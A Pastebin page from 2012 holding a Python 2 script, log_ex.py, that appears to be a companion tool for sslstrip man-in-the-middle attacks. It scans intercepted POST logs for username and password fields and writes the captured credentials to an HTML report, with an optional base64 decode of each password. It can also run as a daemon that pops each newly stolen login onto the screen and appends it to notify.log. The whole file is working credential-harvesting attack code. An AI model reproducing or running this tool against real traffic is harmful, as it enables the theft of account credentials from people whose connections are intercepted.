loozr

/usb/modules/sslstrip/log_ex.py

Sep 23rd, 2012
376
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 9.99 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import os
  4. import sys
  5. import time
  6. import base64
  7. import urllib
  8.  
  9. class LogParser():
  10.  
  11.     def __init__(self, filePath='sslstrip.log', secureOnly=False):
  12.         self.logins = []
  13.         self.filePath = filePath
  14.         self.passwords = ['Passwd=', 'passwd=', 'word=', 'md5password_utf=', 'pwd=', 'password]=', 'passwordTextBox=', 'theAccountPW=',
  15.                           'Password_Textbox=', 'pass=']
  16.         self.usernames = ['user=', 'name=', 'mail=', 'login=', 'USERID=', 'emailTextBox=', 'email=', 'inputEmailHandle=',
  17.                           'theAccountName=', 'Email_Textbox=', 'UserName=', 'userid=', 'auth_userId=', 'email]=', 'email=']
  18.         if secureOnly:
  19.             self.postToken = 'SECURE POST'
  20.         else:
  21.             self.postToken = 'POST'
  22.        
  23.     def executeAll(self):
  24.         if self.checkPath():
  25.             self.loadFile()
  26.             self.findSecurePosts()
  27.         else:
  28.             print ' [!] Input file does not exist, see --help'
  29.    
  30.     def checkPath(self):
  31.         return os.path.exists(self.filePath) and os.path.isfile(self.filePath)
  32.    
  33.     def loadFile(self):
  34.         log = open(self.filePath, 'r')
  35.         self.data = log.readlines()
  36.         log.close()
  37.         print ' [*] Loaded %s (%d lines)' % (self.filePath, len(self.data))
  38.  
  39.     def findSecurePosts(self):
  40.         postsCaptured = 0
  41.         sys.stdout.write(' [*] Posts extracted: ')
  42.         for line in self.data:
  43.             try:
  44.                 if line.find(self.postToken) == -1:
  45.                     continue
  46.                 else:
  47.                     self.getDataFromLine(self.data.index(line), line)
  48.                     postsCaptured += 1
  49.             except:
  50.                 continue
  51.         sys.stdout.write(str(postsCaptured) + '\n')
  52.    
  53.     def getDataFromLine(self, currentLine, line):
  54.         entry = {}
  55.         entry['url'] = line[line.find('(') + 1:line.find(')')] # Get URL
  56.         entry['time_stamp'] = line[:line.find(',')] # Get date/time
  57.         entry['raw_post'] = urllib.unquote(self.data[currentLine + 1]) # Get line after 'POST'
  58.         entry['username'] = self.decodeString(entry['raw_post'], self.usernames)
  59.         entry['password'] = self.decodeString(entry['raw_post'], self.passwords)
  60.         self.logins.append(entry)
  61.    
  62.     def decodeString(self, string, tokens):
  63.             for token in tokens: # Parse line for password strings
  64.                 if string.find(token) > -1:
  65.                     start = string[string.find(token) + len(token):]
  66.                     data = start[:start.find('&')]
  67.                     return data
  68.             return 'VALUE_NOT_FOUND'
  69.    
  70. class HtmlGenerator():
  71.     ''' Generates an html document based on '''
  72.    
  73.     def __init__(self, logins):
  74.         self.logins = logins
  75.         self.raw = False
  76.         self.base64 = False
  77.         self.allPosts = False
  78.         self.filePath = '/usb/modules/sslstrip/log/'
  79.    
  80.     def build(self):
  81.         self.openFile()
  82.         self.writeHtmlHeader()
  83.         self.createHtmlTable()
  84.         self.writeHtmlTable()
  85.         self.writeHtmlFooter()
  86.    
  87.     def openFile(self):
  88.         if os.path.exists(self.filePath):
  89.             reply = raw_input(' [?] Overwrite existing %s file? [y/n]: ' % self.filePath).strip()
  90.             if not reply == 'y' or reply == 'Y':
  91.                 print ' [!] User exit, please run again!'
  92.                 sys.exit()
  93.         self.htmlFile = open(self.filePath, 'w')
  94.    
  95.     def writeHtmlHeader(self):
  96.         self.htmlFile.write('<html><head><title>%s</title></head>\n' % self.filePath) # Write header info
  97.         self.htmlFile.write('<body>\n') # Create body
  98.         self.htmlFile.write('<h3>%s</h3><h4>Created using <a href="http://0x539.us/" target="newwin">log_ex.py</a></h4><p>\n' % self.filePath )
  99.        
  100.     def createHtmlTable(self):
  101.         print ' [*] Building html file (%d possible entries)' % len(self.logins)
  102.         self.htmlFile.write('<table border="1" cellpadding="5"><tr bgcolor="E0E0E0">') # Create table
  103.         self.htmlFile.write('<th>Date/Time\n<th>URL\n<th>Username\n<th>Password\n')    # Create categories
  104.         if self.base64:
  105.             self.htmlFile.write('<th>Base64 Password Decode\n')
  106.         if self.raw:
  107.             self.htmlFile.write('<th>Raw POST Data\n') # Create post data category, if enabled
  108.  
  109.     def writeHtmlTable(self):
  110.         for entry in self.logins:
  111.             if self.allPosts:
  112.                 self.writeTableEntry(entry)
  113.             elif entry['username'] != 'VALUE_NOT_FOUND' and entry['password'] != 'VALUE_NOT_FOUND':
  114.                 self.writeTableEntry(entry)
  115.        
  116.     def writeTableEntry(self, entry):
  117.         self.htmlFile.write('<tr>') # Create new line
  118.         self.htmlFile.write('<td bgcolor="#FAF0F5"> %s' % entry['time_stamp']) # Write date / time
  119.         self.htmlFile.write('<td bgcolor="#FAF0F5"> %s' % entry['url']) # Write URL
  120.         self.htmlFile.write('<td bgcolor="#FAF0F5"> %s' % entry['username']) # Write username data
  121.         self.htmlFile.write('<td bgcolor="#FAF0F5"> %s' % entry['password']) # Write password data
  122.         if self.base64:
  123.             try:
  124.                 self.htmlFile.write('<td bgcolor="#FAF0F5"> %s' % base64.standard_b64decode(entry['password']))
  125.             except:
  126.                 self.htmlFile.write('<td bgcolor="#FAF0F5"> NONE')
  127.         if self.raw: # Write raw post data if enabled
  128.             self.htmlFile.write('<td bgcolor="#FAF0F5"> %s' % entry['raw_post'])
  129.         self.htmlFile.write('\n') # End line
  130.    
  131.     def writeHtmlFooter(self):
  132.         self.htmlFile.write('</table>\n</body>\n</html>\n') # End output
  133.         self.htmlFile.close() # Close file
  134.  
  135. class DaemonDisplay():
  136.    
  137.     def __init__(self, logParser):
  138.         self.logParser = logParser
  139.         self.refreshRate = 60
  140.         self.displayed = []
  141.    
  142.     def executeAll(self):
  143.         try:
  144.             while True:
  145.                 self.checkLogins()
  146.                 time.sleep(self.refreshRate)
  147.                 self.logParser.executeAll()
  148.         except KeyboardInterrupt:
  149.             print '\n [*] User Exit'
  150.         except:
  151.             os._exit(1)
  152.    
  153.     def checkLogins(self):
  154.         for entry in self.logParser.logins:
  155.             if not entry in self.displayed:
  156.                 if entry['username'] != 'VALUE_NOT_FOUND' and entry['password'] != 'VALUE_NOT_FOUND':
  157.                     self.displayNewLogin(entry['url'], entry['username'], entry['password'])
  158.                 self.displayed.append(entry)
  159.    
  160.     def displayNewLogin(self, url, username, password):
  161.         durl = self.escapeString(url)
  162.         duser = self.escapeString(username)
  163.         dpass = self.escapeString(password)
  164.         os.system('notify-send -t 95000 "Url: %s\nUsername: %s\nPassword: %s"' % (durl, duser, dpass))
  165.         log = open('notify.log', 'a')
  166.         log.write('Url: %s \n Username: %s \n Password: %s\n\n' % (url, username, password))
  167.         log.close()
  168.    
  169.     def escapeString(self, string):
  170.         string = string.replace('\\', '\\\\')
  171.         string = string.replace('$', '\$')
  172.         return string
  173.        
  174. # ============ [ Interface Code ] ============
  175. authors = 'Moloch'
  176. version = 'v0.3'
  177.  
  178. def banner():
  179.     print '\n       -- [buffer]overflow Proudly Presents ---'
  180.     print "     ooooo                                oooooooooooo             "
  181.     print "     888'                                `888'     `8              "
  182.     print "     888          .ooooo.   .oooooooo     888         oooo    ooo  "
  183.     print "     888         d88' `88b 888' `88b      888oooo8     `88b..8P'   "
  184.     print "     888         888   888 888   888      888             Y888'    "
  185.     print "     888       o 888   888 `88bod88P      888       o   .o8''88b   "
  186.     print "     o888ooooood8 `Y8bod8P' `8oooooo      o888ooooood8 o88'   888o "
  187.     print "                                 YD   "
  188.     print "                           Y88888P'       [%s by %s]\n" % (version, authors)
  189.  
  190. def help():
  191.     banner()
  192.     print ' Usage: log_ex.py file [options]'
  193.     print ' Options:'
  194.     print '\t-o, --out......................Specify an output file name'
  195.     print '\t-t, --time.....................Add a time stamp to the output filename'
  196.     print '\t-a, --all......................Include all possible logins'
  197.     print '\t-r, --raw......................Include raw post data in the output'
  198.     print '\t-b, --base64...................Include a base64 decode of passwords'
  199.     print '\t-d, --daemon...................Run as daemon, only displays Username/Password'
  200.  
  201. def getArgument(token, arguments):
  202.     index = 0
  203.     try:
  204.         for arg in arguments:
  205.             if token in arg:
  206.                 return arguments[index + 1]
  207.             index+=1
  208.     except IndexError:
  209.         print " [!] Error: Malformed command, see --help"
  210.         sys.exit()
  211.  
  212. if __name__ == '__main__':
  213.     if len(sys.argv) == 1 or '-h' in sys.argv or '--help' in sys.argv:
  214.         help()
  215.         sys.exit()
  216.     logp = LogParser(sys.argv[1])
  217.     if logp.checkPath():
  218.         logp.executeAll()
  219.         if '-d' in sys.argv or '--daemon' in sys.argv:
  220.             DaemonDisplay(logp).executeAll()
  221.             sys.exit()
  222.         else:
  223.             htmlGen = HtmlGenerator(logp.logins)
  224.             if '-a' in sys.argv or '--all' in sys.argv:
  225.                 htmlGen.allPosts = True
  226.             if '-r' in sys.argv or '--raw' in sys.argv:
  227.                 htmlGen.raw = True
  228.             if '-b' in sys.argv or '--base64' in sys.argv:
  229.                 htmlGen.base64 = True
  230.             if '-o' in sys.argv or '--output' in sys.argv:
  231.                 htmlGen.filePath = getArgument('-o', sys.argv)
  232.             if '-t' in sys.argv or '--time' in sys.argv:
  233.                 htmlGen.filePath = htmlGen.filePath + '_' + str(time.strftime('%H-%M-%S')) + '.html'
  234.             try:
  235.                 htmlGen.build()
  236.             except:
  237.                 print ' [!] An error occurred while building', htmlGen.filePath
  238.     else:
  239.         print ' [!] Error: The log file (%s) does not exist, see --help' % sys.argv[1]
Add Comment
Please, Sign In to add comment